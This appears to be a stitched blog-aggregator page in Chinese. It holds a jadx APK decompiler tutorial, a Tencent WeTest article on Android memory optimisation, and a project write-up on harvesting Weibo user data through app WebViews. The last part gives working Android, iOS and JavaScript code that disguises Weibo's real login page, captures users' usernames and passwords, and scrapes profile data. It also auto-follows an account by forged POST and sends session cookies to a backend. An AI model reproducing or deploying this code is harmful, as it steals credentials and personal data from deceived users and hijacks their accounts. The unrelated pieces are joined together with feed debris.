我随便找了一个手边的 Apk ,丢进去,看看反编译后的效果。

jadx-run

这里面就是反编译后的代码了,对于 apk 而言,一些 xml 的资源,也一并被反编译还原回来了,非常的方便。

三、jadx 的优点

jadx 使用起来非常的方便,而提供的 gui 程序,也很好用。下面开始介绍 jadx-gui 程序的一些好用的技巧。

3.1 强大的搜索功能

jadx 提供的搜索功能,非常强大,而且搜索速度也不慢。

你可以点击 Navigation -> Text Search 或者 Navigation -> Class Search 激活它,更方便的还是快捷键,我本机的快捷键是 control + shift + f,这个就因人而异了。

text-search

jadx 的搜索,支持四种维度,Class、Method、Field、Code,我们可以根据我们搜索的内容进行勾选,范围最大的就是 Code ,基本上就是文本匹配搜索。这里反编译的 Apk 集成了支付宝支付,所以能搜到 alipay 的内容。

3.2 直接搜索到引用的代码

有时候找到关键代码了,还想看看在哪些地方调用或者引用了它。

jadx 也提供了这方面的支持,找到我们需要查看的类或者方法,选中点击右键,选择 Find Usage。

find-Usage

之后,它就会帮你搜索出,在这个项目中,哪些地方引用了它。

usage-search

点击就可以直接跳转过去,非常的方便。

3.3 deobfuscation

一般 Apk 在发布出去之前,都是会被混淆的,这基本上国内 App 的标配。这样一个类,最终会被混淆成 a.b.c ,方法也会变成 a.b.c.a() ,这样其实非常不利于我们阅读。我们很难看到一个 a.java 的文件,就确定它是哪一个,还需要根据包名来区分。

而 deobfusation 功能,可以为它们其一个特殊的名字,这样它在这个项目中,名字就唯一了,方便我们识别和搜索。

这个功能可以在 Tools -> deobfusation 中激活。

接下来来看看它的效果。

deo-before

开启 deobfusation 之后的效果如下:

deo-after

可以看到,a 变成了 p003a。不知道这样看你觉得有方便一些吗?

3.4 一键导出 Gradle 工程

虽然,jadx-gui 可以直接阅读代码,还是很方便的。但是毕竟没有我们常见的编辑器来的方便。而正好 jadx 还支持将反编译后的项目,直接导出成一个 Gradle 编译的工程。

可以通过 File -> Save as gradle project 来激活这个功能。

save-gradle

最终输出的目录,是可以直接通过 Android Studio 打开的。

gradle-project

不过虽然 AS 可以直接打开它,但是大多数情况下你是编译不起来的。但是这样的功能,主要是为了借助 AS 强大的 IDE 功能,例如方法跳转、引用搜索等等,让我们阅读起来更方便。

四、jadx 的错误处理

jadx 在使用过程中,也会有一些错误情况,这里总结一些比较常见的错误。

4.1 inconsistent code

有时候有代码,反编译的不完整,你会看到 JADX WARNING : inconsistent code 标志的错误。

incon-before

这一段代码,就已经不是 Java 的代码了,不利于我们的阅读。而 jadx 为了应对这样的情况,可以尝试开启 Show inconsistent code 开关。你可以在 File -> Preferences 中找到它。

show-pre

开启 inconsistent code 之后,我们再来看看这段代码,就感觉亲切了。

code2

这样处理的代码,大部分为伪代码,可能会有错误的地方,具体问题具体分析吧。

Preferences 中,还有很多开关,有兴趣的可以自行摸索一下。

4.2 反编译错误或者卡顿

jadx 反编译一些小的 Apk,一点压力都没有,但是对于一些比较重的 Apk,一般 Apk 大于 50MB 的,你都可能遇到使用 jadx 反编译的时候卡死的问题。

如果你看了 terminal 中 Log 输出,你应该可以发现,实际上它是因为 OOM 引起的。

oom

官方对于这样因为内存不足引发的问题,也提供了一些解决方案。

1、减少处理的线程数。

jadx 为了加快编译的效率,所以是使用多线程处理的,而多个线程会耗费跟多的内存。所以减小反编译时候的线程数,是一个有效的方法。

如果使用命令行的话,可以使用 -j 1参数,配置线程数为 1,不配置的话,默认线程数为 4。

而使用 jadx-gui 的话,可以在 Preferences 中,通过配置 Processing threads count 来配置线程数。

2、修改 jadx 脚本

直接编辑 ./bin 目录下的 jadx 脚本,配置找到 DEFAULT_JVM_OPTS ,将它设置为 DEFAULT_JVM_OPTS="-Xmx2500M",就可以配置当前使用的内存大小。

如果是 Windows 系统,你需要编辑 jadx.bat 文件。

3、使用命令行命令

如果以上方式都不好用,在没有更好的办法的情况下,你可以直接使用命令行,通过 jadx 的命令进行放编译。并将线程数配置为 1 ,这样虽然慢一些,但是多数情况下,是可以正常输出反编译后的代码的。

举个例子:

jadx -d out -j 1 classes.dex

更过命令,可以通过 jadx -h命令进行查看。

jadx-help

仔细看看 jadx 命令配置的参数,基本上都可以在 Preferences 中,找到对应的配置项,相互对照理解一下,应该不难发现它的使用方式。

五、总结

jadx 确实非常的好用,到这里基本上已经把它的使用,都讲解清楚了。

你在反编译的过程中,使用 jadx 有没有碰到什么问题?还有什么更好的工具推荐,可以在留言区给我留言,我们一起讨论一下。

今天在 承香墨影公众号的后台,回复『 成长』。我会送你一些我整理的学习资料,包含:Android反编译、算法、设计模式、kotlin、虚拟机、Linux、Web项目源码。

推荐阅读:

Android 内存暴减的秘密?!

$
0
0

作者:杨超,腾讯移动客户端开发 工程师
商业转载请联系腾讯WeTest获得授权,非商业转载请注明出处。
原文链接: http://wetest.qq.com/lab/view/362.html


WeTest 导读

我这样减少了26.5M Java内存!一文中内存优化一期已经告一段落,主要做的事情是,造了几个分析内存问题的轮子,定位进程各种类型内存占用情况,分析了线程创建OOM的原因。当然最重要的是,优化了一波进程静息态的内存占用(减少26M+)。而二期则是在一期的基础之上,推进已发现问题的SDK解决问题,最终要的是要优化进程的动态Java内存占用!

通常来说不管是做什么性能优化,逃不出性能优化3步曲:

  1. 找到性能瓶颈
  2. 分析优化方案
  3. 执行优化

上述三步看似第三步最能决定优化结果,而事实上,从笔者的几次性能优化经历来看,找到瓶颈确占据了绝对的影响力!

● 能否找到瓶颈意味着优化做不做的下去。

● 找到的瓶颈性能越差意味着优化效果越明显。

● 找到的瓶颈越多同样意味着优化效果越好。


一、如何找瓶颈所在

在分析方法上,主要:

● 分析代码逻辑,检查有问题的逻辑,对其进行相关优化。

● 模拟用户操作 在内存占用较高的时候dump内存,使用MAT分析

● 然后是分析HeapDump的方法

  1. 看 DominatorTree,确定占用内存最多的实例
  2. 通过 GC root辅助分析内存占用的来源
  3. 通过 RetainHeapSize 量化的分析内存占用

动态内存优化比静态要更难,其难点在于动态二字之上。动态不仅是的查找瓶颈变得困难,也使得对比优化成果不显而易见。而不同的环境、操作路径、设备、使用习惯等各个因素都有可能导致内存占用的不同。可能的情况是:找到的性能瓶颈和用户实际操作的方式不同,导致不能解决外网的OOM。因此直接获取手机用户的真实数据则是最行之有效的一种方式。

因此辅助采取了另一种方式, 收集真实的用户数据。

● 在手机发生OOM的时候dump内存,上传到后台,以便后续分析

措施1:可以优化现有代码逻辑,针对内存占用过多/不合理的场景进行优化。这是主场景。

措施2:主要分析外网用户的使用习惯下,发生OOM的场景。比较容易发现bug类问题导致瞬间内存占用过多的场景。

二、找到哪些瓶颈

找到的瓶颈问题很多,稍微按照分类梳理一下:

1. 加载进内存,实际上没用到(还没用到)的数据

1)PullToRefreshListView 的 Loading 和 Empty View lazyLoad,这是下拉刷新的组件,其下拉刷新有一个帧动画,图片较多,占用较多内存。

2)Minibar PlayListView。每个页面都会有一个Minibar,但是不一定Minibar都会打开播放列表。

3)AsyncImageView 的 默认图和失败图以Drawble的形式直接加载进内存的。

2、 UI 相关数据,未及时释放

1)24 小时直播间数据,只在节目切换的时候才有用

2)弹幕,只在播放页展示弹幕的时候才有用

3)播放页 TransitionBackgroundManager 大图内存占用问题 。这个一个大图,为了做渐变动画。

3、数据结构不合理,占用内存过多

1)播放历史最多记录600个节目信息,每一个ShowInfo占用内存多达22K(通过MAT查看RetainHeap)

2)下载管理会在内存中存储用户下载的 节目信息,歌词,专辑信息,分别占用内存 12K, 0-10K, 12K。并且这里没有数量限制。

4、 图片占用内存过多

1)在应用主页操作一下,发现图片(Bitmap)占用的内存很多

2)高斯模糊图片。

5、 bug类导致内存占用过多

播放历史应为代码逻辑bug,导致没有控制记录数量上限。于是用户听的节目越多内存占用就越大。这里的问题主要通过OOM上报发现,占用内存最多的一次上报,仅播放历史记录就占内存50M之多。

上述 1-4 点通过措施1主动检查内存发现。而第5点则是在分析了OOM上报“意外”发现的,如果是通过措施1的方式,几乎不可能知道这么多OOM竟然是因为这个问题引起的。

三、怎么优化瓶颈

找到问题之后,剩下的就是比较好做的了,只需顺藤摸瓜,各个击破!

1、懒加载 (LazyLoad)

针对上面的1.1, 1.2, 都可以做LazyLoad,真正需要下拉刷新/展示播放列表的时候再创建相关实例。

1.4 则可以在动画结束之后清理掉相关Bitmap

1.3 会复杂一点。图片加载组件可以提供default图,在图片加载过程中临时展示;以及faild图,在图片加载失败之后展示。这两个图在AsyncImageView中都是直接引用住图片 (Drawable)的。事实上绝大多数场景都会显示成功的图片。因此这里的修改方式是:
AsyncImageView的 default/fail 图片不再引用 drawable,而是引用资源ID,在需要的时候再由ImageLoader加载进内存,同时这些图片将有ImageCache统一管理,并占用内存LRU空间(之前是由Resource管理)。

这里去掉了几个大图的内存占用。内存占用在几M级别。

2、及时释放

上面 2.1 中的24小时直播间的数据会一直在内存中,即使用户当前没有在听24小时直播间。这个显然是不合理的。

修改的做法是 业务数据缓存的DB中,在需要用到的时候从DB中查询出来

2.2 的弹幕则是纯粹的UI相关数据,在播放页退出之后即可释放了。

2.3 是为了动画准备的一张大图,为了做一个炫酷的动画效果。事实上,在动画结束之后,就可以释放了。这个图片占用的内存和手机分辨徐率相关,分辨率(严格来说是density)越高的手机,图片尺寸越大。在主流手机上1080p约1M。

这里分别减少了 287K + 512K + 1M

3、 优化数据结构

3.1 和 3.2 都会存储节目信息,而节目信息相关的jce结构都比较大,通过MAT,可以看到 Show:12K, Album:10K, 一个ShowInfo同时包含了上面两种数据结构。

最合理的方式应该是:

  1. 数据存储在DB
  2. 在需要数据的时候通过一次db查询,拿到具体的数据。

但是因为现有代码都是从内存中查询,接口是同步的方式,全部改异步的成本会比较大,这里我们的时间成本和测试自由都有限。

综合上面MAT分析的结果,有个思路:

内存中存储 节目信息 (ShowMeta)最少的内存,例如: 节目名,节目id,专辑id 之类的信息。而真正的Show和Album结构存在DB中。

这样内存中的数据可以尽量的少,同时大部分已有接口还可以保持同步调用的方式。

此外,从用户的角度出发,假设一个重度用户下载了1000个节目,那么每一个ShowMeta占用的内存都会被放大1000倍,因此载极限的优化ShowMeta都不为过。

这里做了两件事:

1. 删字段,把ShowMeta中的非必要字段删掉。
比如其中的url字段,实际只用来通过hash生成文件名,我们完全可以用showId代替。而一个url长度可达500Byte,1000个ShowMeta的话,这里就能节省500K内存了!

再比如:dowanloadTaskId字段,是存储下载任务的id的,在节目下载完成后,该字段即失去意义,因此可以删除之。

2、 intern 这里是参考了 String.intern 的思路。不同的ShowMeta可能会有相同的字段,或者说字段中有相同的部分。

比如同一个专辑中的ShowMeta其albumId字段都会是相同的,我们只需要保留一份albumId,其他ShowMeta都可以用同一个实例。(内存优化一期对ShowList做了同样的改造)

再比如:ShowMeta中会存储下载文件的全路径,而事实上所有节目都会存储在同一个文件目录中,因此这里把文件路径拆成 目录+文件名来存储,而路径采用 intern 的方式,保证了内存中只会有一份。

这里写图片描述

优化前

这里写图片描述

优化后

最直观的看变化是内存占用从 14272B 到 120B。仔细看会发现 ShowRecordMeta 的retainHeap 不等于各字段内存占用之和,这是因为上面提到的 String intern 的作用,相同字段被复用了,因此这里的retainheap不准确,通过RecordDataManager/countof(records) 计算,平均每一个record 14800/60 = 247B,减少98%。

这里的修改结果:
播放历史 ShowHistoryBiz -> ShowHistoryMeta 内存占用从 19k 到 约216B

下载记录 ShowRecordBiz -> ShowRecordMeta 内存占用 从 14k 到 约100B

粗略估计,这里修改的播放历史(每次播放都会增加一个记录,上限600个),(19256-216)* 600 = 10.9M

和下载记录(假设一个轻度使用用户用户下载100个节目),内存总共可以减少:
(14727-100)* 100 = 1.4M

如果是重度用户,下载1000个节目,则有14M之多!

不得不说这是个很大的数字!

四、图片内存

在Android 2.3 之后,Bitmap改了实现,图片内存从native heap转移到了Java heap。这就导致了JavaHeap占用暴增。(然而8.0又改成NativeHeap了,具体原因官方文档并没有提及,有待考察)。

通常我们分析 heap dump 的时候会发现Bitmap占用的内存是绝对的大头。这次我们做内存优化也不例外。

这里的思路是分析内存占用是否合理:

  1. 是否所有图片都用于界面展示
  2. 是否图片尺寸过大。

首先,分析内存占用是否合理。经过一期的优化,在不打开MainActivity的时候,内存中几乎没有图片。但是打开MainActivity之后,内存中会出现几十兆的图片内存。
图片内存主要是用于展示的,也即:被AsyncImageView持有的部分。

另外是内存的图片缓存,会持有 最大JavaHeap 1/8 的内存充当 Bitmap 缓存,使用LRU算法淘汰老数据。

当然另外一些图片过大属于使用不当,实际上可以裁剪才View实际的大小。

而一些全屏(和屏幕等宽的图,主要是Banner)图其实可以裁剪的更小一点(如3/4大小)减少近46%的内存占用,而观感不会有特别明显的区别。(写这个文档的时候突然想到的,TODO一下)。

问题1:针对AsyncImageView的问题,思考是否所有图片都在用户展示?
答案显然是否定的,一部分图片被ListView回收的view所持有,这些内存占用显然是不合理的。

问题2:另外就是ViewPager这种多页面视图,给用户展示的实际上只有一个,其他几个视图并没有在展示,因此这里是否可以改造ViewPager呢?

针对第一个问题,被ListView回收的view仍然在内存中的问题,通过改造AsyncImageView,在View从windowdetach的时候,主动释放Bitmap,attach到Window的时候再次尝试加载图片。另外是多图滚动视图,这里的图片很大,因此占用内存也很多。因为历史原因之前使用的是Gallery,其有bug导致会额外引用住两个大图(已经不可见),因此这里使用RecyclerView修改了其实现,解决上述问题。

针对第二个问题,目前还没有采取有效措施,主要依赖Android系统,主动回收Activity的内存。(这里存疑,需要深挖系统代码,理清理逻辑之后再下结论。短期的结论是:系统的清理行为不可靠)。如果要改的话,可以简单的修改一下ViewPager的内存,保证在其他page不可见的时候,回收其相关的Fragment。留个TODO。

LRU + TTL

针对图片缓存,这里本身只是缓存图片并且有LRU算法保证不会超过最大内存,理论上内存占用合理。但是LRU算法有一个问题,就是一旦缓存满了,后续只能通过添加新Bitmap才能淘汰掉老的Bitmap,而此时缓存占用的内存仍然是最大值。因此这里的思考是LRU+TTL算法:即在LRU的基础上,指定每一个Bitmap在缓存中存在是有效时长。超过时长之后主动将其从缓存中清理掉。这样我们就可以解决LRUcache占用的内存不可减少的问题。

再次感谢afc组件作者raezlu和笔者讨论问题,欣然接受建议,并身体力行的实现了TTL方案!

高斯模糊

这里补充一个,关于高斯模糊图片占用内存过高的问题,在之前版本已经优化过了。

因为高斯模糊的图片本身会让图片变得模糊(废话。。),因此图片的信息实质上是丢失了很大一部分的。在此思路的基础上,我们可以把需要高斯模糊的图片先缩小(比如 100x100),然后再做高斯模糊。这样不仅减少了内存占用,同时高斯模糊处理的速度也可以大大增加!

比如,之前遇到播放页封面cover图 720 720的大小,占内存 720 720 4 = 2M,降低到 100x100 占用内存大小 100 100 * 4= 40K,内存优化效果明显,而视觉上几乎没有差距。

五、其他优化

这里主要针对外网的TOP1 crash,WNS内部线程创建导致的OOM。

笔者的解决方案是先根据crash上报信息,深挖系统源码《 Android 创建线程源码与OOM分析》,彻底理清楚线程创建逻辑,并最终确定crash原因是线程的无节制创建。然后针对crash,整理出详细的原因分析,再给WNS的小伙伴提了bug,待修复之后替换sdk。

六、成果对比

内存优化的效果总体还不错,这里一共做了两期,优化了几十个项目。首先要比较感谢项目组给了可观的排期,这样才有时间做一些比较深入的改动。

静息态内存

一期优化效果是在Nexus6P@7.1上测试到的静息态内存优化 26.5M。

二期又进一步做了优化(上文3.2 3.3节),现在静息态内存再次dump会发现只有3M内存了,而这3M有一部分是播放列表,一部分是播放页持有的小图片。

通过计算,可以得出静息态内存进一步减少了:
24小时直播间单例: 287K
弹幕manager 单例: 512K
播放页动画大图:1M
播放历史 600个(上限):(19256-216) * 600 = 10.9M
下载记录 下载100个节目:(14727-100)* 100 = 1.4M

总共减少: 28M+

动态内存

动态内存比较不好对比,这里决定采用黑盒测试的方式:
打开应用,MainActivity各个tab操作一遍,打开播放页,然后对比内存占用量。鉴于笔者只有一台Nexus6P开发机,为了控制变量,这里创建了两台模拟器,并排摆放,分别打开企鹅FM4.0和3.9版本,确保使用相同的操作路径。

这里测试了两种场景:

  1. 应用新安装
  2. 老用户,听了很多节目(播放历史600个),下载近200个节目

这里写图片描述

                           experiment

操作对照图

通过AndroidStudio查看内存占用情况。

这里写图片描述

                    compare clean install

在场景一种:4.0版本占用 38.74M,而3.9版本占用 59.78M。减少了21.04M内存。

compare heavy use

在场景二中:4.0版本占用 45.5M,而3.9版本占用 87.4M。减少了41.9M内存。

事实上,因为有图片缓存在LRU算法的基础上增加了TTL逻辑,在静止1分钟之后(只要不再加载新图片),4.0版本,内存还会下降。(图片缓存超时主动清理)。

这里写图片描述

                  4.0 ImageCache TTL

可以看到Java内存下降到 34.92M,而此时3.9版本仍然没有变化,此时内存减少 52.48M。

PS:需要注意的是3.9版本的“广播”tab在4.0版本替换成了“书城”tab,而书城tab的页面要远复杂的多,图片也更多。

最后,在4.0版本发布外网之后,笔者对比了一下3.9版本的Crash上报,结果如下:

这里写图片描述

总的crash率从 0.41%下降到%0.16,减少了0.21%。而OOM类型的crash率从 0.19%下降到 0.04%,减少了0.15%!而剩下的0.04%则主要是线程创建导致的。目前在通过线程监控组件查找根本原因,后续推动相关SDK进行优化!

七、结论

另外需要注意的一点是,动态内存和静态内存虽然分别减少了 52M 和 28M,但是两者是有一部分交集的。

两者的测量标准稍有不同,对应用的影响也不同。

动态内存主要优化app在低内存设备上的性能,并减少OutOfMemory发生的几率。

而静态内存,主要优化app退后台后的内存占用,一方面可以减少应用进程被Android系统的LowMemoryKiller杀死,另一方面可以让用户的设备有更多剩余内存,用户体验更好。


UPA——一款针对Unity游戏/产品的深度性能分析工具,由腾讯WeTest和unity官方共同研发打造,可以帮助游戏开发者快速定位性能问题。旨在为游戏开发者提供更完善的手游性能解决方案,同时与开发环节形成闭环,保障游戏品质。

目前,限时内测正在开放中,点击 http://wetest.qq.com/cube/即可使用。

对UPA感兴趣的开发者,欢迎加入QQ群:633065352

如果对使用当中有任何疑问,欢迎联系腾讯WeTest企业QQ:800024531

app端用户信息自动获取--微博

$
0
0

github地址

项目目的

在app(ios和android)端使用webview组件与js进行交互,串改页面,让用户授权登录后,获取用户关键信息,并完成自动关注一个账号。

传统爬虫模式的局限

传统爬虫模式,让用户在客户端在输入账号密码,然后传送到后端进行登录,爬取信息,这种方式将要面对各种人机验证措施,加密方法复杂的情况下,还得选择selenium,性能更无法保证。同时,对于个人账户,安全措施越来越严,使用代理ip进行操作,很容易造成异地登录等问题,代理ip也很可能在全网被重复使用的情况下,被封杀,频繁的代理ip切换也会带来需要二次登录等问题。
所以这两年年来,发现市面上越来越多的提供sdk方式的数据提供商,经过抓包及反编译sdk,发现其大多数使用webview载入第三方页面的方式完成登录,有的在登录完成之后,获取cookie传送到后端完成爬取,有的直接在app内完成所需信息的收集。

登录

这是微博移动端登录页
weibo原移动端登录页.png
首先使用JavaScript串改当前页面元素,让用户没法意识到这是微博官方的登录页。

载入页面

android

webView.loadUrl(LOGINPAGEURL);

iOS

[self requestUrl:self.loginPageUrl];
//请求url方法
-(void) requestUrl:(NSString*) urlString{
    NSURL* url=[NSURL URLWithString:urlString];
    NSURLRequest* request=[NSURLRequest requestWithURL:url];
    [self.webView loadRequest:request];
}

js代码注入

首先我们注入js代码到app的webview中
android

private void injectScriptFile(String filePath) {
        InputStream input;
        try {
            input = webView.getContext().getAssets().open(filePath);
            byte[] buffer = new byte[input.available()];
            input.read(buffer);
            input.close();
            // String-ify the script byte-array using BASE64 encoding
            String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
            String funstr = "javascript:(function() {" +"var parent = document.getElementsByTagName('head').item(0);" +"var script = document.createElement('script');" +"script.type = 'text/javascript';" +"script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +"parent.appendChild(script)" +"})()";
            execJsNoReturn(funstr);
        } catch (IOException e) {
            Log.e(TAG, "injectScriptFile: " + e);
        }
    }

iOS

//注入js文件
- (void) injectJsFile:(NSString *)filePath{
    NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
    NSData *data=[NSData dataWithContentsOfFile:jsPath];
    NSString *responData =  [data base64EncodedStringWithOptions:0];
    NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\
                     var parent = document.getElementsByTagName('head').item(0);\
                     var script = document.createElement('script');\
                     script.type = 'text/javascript';\
                     script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\
                     parent.appendChild(script)})()",responData];
    [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
    }];
}

我们都采用读取js文件,然后base64编码后,使用window.atob把其做为一个脚本注入到当前页面(注意:window.atob处理中文编码后会得到的编码不正确,需要使用ecodeURIComponent escape来进行正确的校正。)
在这里已经使用了app端,调用js的方法来创建元素。

app端调用js方法

android端:

webView.evaluateJavascript(funcStr, new ValueCallback<String>() {
            @Override
            public void onReceiveValue(String s) {

            }

        });

ios端:

[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
    }];

这两个方法可以获取返回值,正因为如此,可以使用js提取页面信息后,返回给webview,然后收集信息完成之后,汇总进行通信。

js串改页面

//串改页面元素,让用户以为是授权登录
function getLogin(){
 var topEle=selectNode('//*[@id="avatarWrapper"]');
 var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
 topEle.remove(imgEle);
 var returnEle=selectNode('//*[@id="loginWrapper"]/a');
 returnEle.className='';
 returnEle.innerText='';
 pEle=selectNode('//*[@id="loginWrapper"]/p');
 pEle.className="";
 pEle.innerHTML="";
 footerEle=selectNode('//*[@id="loginWrapper"]/footer');
 footerEle.innerHTML="";
 var loginNameEle=selectNode('//*[@id="loginName"]');
 loginNameEle.placeholder="请输入用户名";
 var buttonEle=selectNode('//*[@id="loginAction"]');
 buttonEle.innerText="请进行用户授权";
 selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
 selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
 selectNode('//*[@id="loginAction"]').className="btn";
 selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
 return window.webkit;
}
function transPortUnAndPw(){
 username=selectNode('//*[@id="loginName"]').value;
 pwd=selectNode('//*[@id="loginPassword"]').value;
 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

使用js修改页面元素,使之看起来不会让人发觉这是weibo官方的页面。
修改后的页面如图:
修改后登录页面.png

串改登录点击事件,获取用户名密码

selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
function transPortUnAndPw(){
  username=selectNode('//*[@id="loginName"]').value;
  pwd=selectNode('//*[@id="loginPassword"]').value;
  window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

同时串改登录点击按钮,通过js调用app webview的方法,把用户名和密码传递给app webview 完成信息收集。

js调用webview的方法

android端:

// js代码
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java代码
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
        @JavascriptInterface
        public void getPwd(String returnValue) {
            try {
                unpwDict = new JSONObject(returnValue);
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }

android通过实现一个@JavaScriptInterface接口,把这个方法添加类添加到webview的浏览器内核之上,当调用这个方法时,会触发android端的调用。
ios端:

//js代码
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc代码
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
 [userContentController addScriptMessageHandler:self name:@"getInfo"];

- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{
    
    self.unpwDict=[self getReturnDict:message.body];
}

ios方式,实现方式与此类似,不过由于我对oc以及ios开发不熟悉,代码运行不符合期望,希望专业的能指正。

个人信息获取

直接提取页面的难点

webview这个组件,无论是在android端 onPageFinished方法还是ios端的didFinishNavigation方法,都无法正确判定页面是否加载完全。所以对于很多页面,还是选择走接口

请求接口

本项目中,获取用户自己的微博,关注,和分析,都是使用接口,拿到预览页,直接解析数,对于关键的参数,需要仔细抓包获取
抓包1.png
仔细分析 “我”这个标签下的请求情况,发现 https://m.weibo.cn/home/me?fo...,通过这个请求,获取核心参数,然后,获取用户的微博 关注 粉丝的预览页面。
然后通过

JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))

获取json字符串,并传到app端进行解析。
解析及多次请求的逻辑

请求页面

也有页面,如个人资料,页面较简单,可以使用js提取

js代码

function getPersonInfo(){
  var name=selectNodeText('//*[@id="J_name"]');
  var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
  var location=selectNodeText('//*[@id="J_location"]');
  var year=selectNodeText('//*[@id="year"]/option[@selected]');
  var month=selectNodeText('//*[@id="month"]/option[@selected]');
  var day=selectNodeText('//*[@id="day"]/option[@selected]');
  var email=selectNodeText('//*[@id="J_email"]');
  var blog=selectNodeText('//*[@id="J_blog"]');
  if(blog=='输入博客地址'){
    blog='未填写';
  }
  var qq=selectNodeText('//*[@id="J_QQ"]');
  if(qq=='QQ帐号'){
    qq="未填写";
  }
  birthday=year+'-'+month+'-'+day;
  theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
  return JSON.stringify({'personInfomation':theDict});
}

由于webview不支持 $x 的xpath写法,为了方便,使用原生的XPathEvaluator, 实现了特定的提取。

function selectNodes(sXPath) {
  var evaluator = new XPathEvaluator();
  var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (result != null) {
    var nodeArray = [];
    var nodes = result.iterateNext();
    while (nodes) {
      nodeArray.push(nodes);
      nodes = result.iterateNext();
    }
    return nodeArray;
  }
  return null;
};
//选取子节点
function selectChildNode(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    return newNode;
  }
}

function selectChildNodeText(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode != null) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    } else {
      return "";
    }
  }
}

function selectChildNodes(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var nodeArray = [];
    var newNode = newResult.iterateNext();
    while (newNode) {
      nodeArray.push(newNode);
      newNode = newResult.iterateNext();
    }
    return nodeArray;
  }
}

function selectNodeText(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    }
    return "";
  }
}
function selectNode(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode;
    }
    return null;
  }
}

自动关注用户

由于个人微博页面 onPageFinished与didFinishNavigation这两个方法无法判定页面是否加载完全,
为了解决这个问题,在android端,使用拦截url,判定页面加载图片的数量来确定,是否,加载完全

//由于页面的正确加载onPageFinieshed和onProgressChanged都不能正确判定,所以选择在加载多张图片后,判定页面加载完成。
            //在这样的情况下,自动点击元素,完成自动关注用户。
            @Override
            public void onLoadResource(WebView view, String url) {
                if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
                    newIndex++;
                    if (newIndex == 5) {
                        webView.post(new Runnable() {
                            @Override
                            public void run() {
                                injectJsUseXpath("autoFocus.js");
                                execJsNoReturn("autoFocus();");
                            }
                        });
                    }
                }
                super.onLoadResource(view, url);
            }

js 自动点击

function autoFocus(){
  selectNode('//span[@class="m-add-box"]').click();
}

在ios端,使用访问接口的方式
抓包2.png
除了目标用户的id外,还有一个st字符串,通过chrome的search,定位,然后通过js提取

function getSt(){
  return config['st'];
}

然后构造post,请求,完成关注

- (void) autoFocus:(NSString*) st{
    //Wkwebview采用js模拟完成表单提交
    NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \
                     var form = document.createElement(\"form\"); \
                     form.setAttribute(\"method\", method); \
                     form.setAttribute(\"action\", path); \
                     for(var key in params) { \
                     if(params.hasOwnProperty(key)) { \
                     var hiddenField = document.createElement(\"input\");\
                     hiddenField.setAttribute(\"type\", \"hidden\");\
                     hiddenField.setAttribute(\"name\", key);\
                     hiddenField.setAttribute(\"value\", params[key]);\
                     form.appendChild(hiddenField);\
                     }\
                     }\
                     document.body.appendChild(form);\
                     form.submit();\
                     }\
                     post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
    [self execJsNoReturn:jsStr];
}

ios WkWebview没有post请求,接口,所以构造一个表单提交,完成post请求。
完成,一个自动关注,当然,构造一个用户id的列表,很简单就可以实现自动关注多个用户。

关于cookie

如果需要爬取的数据量大,可以选择爬取少量关键信息后,把cookie传到后端处理
android 端 cookie处理

CookieSyncManager.createInstance(context);  
CookieManager cookieManager = CookieManager.getInstance(); 

通过cookieManage对象可以获取cookie字符串,传送到后端,继续爬取

ios端cookie处理

NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;

处理方式与android端类似。

总结

对于数据工程师来说,webview有点类似于selenium,但是运行在服务端的selenium,有太多的局限性。webview的在客户端运行,就像一个用户就是一台肉机。
以webview为基础,使用app收集信息加以利用,现阶段大多数人都还没意识到,但是,市场上的产品已经越来越多,特别是那些对数据有特殊需要的各种金融机构。
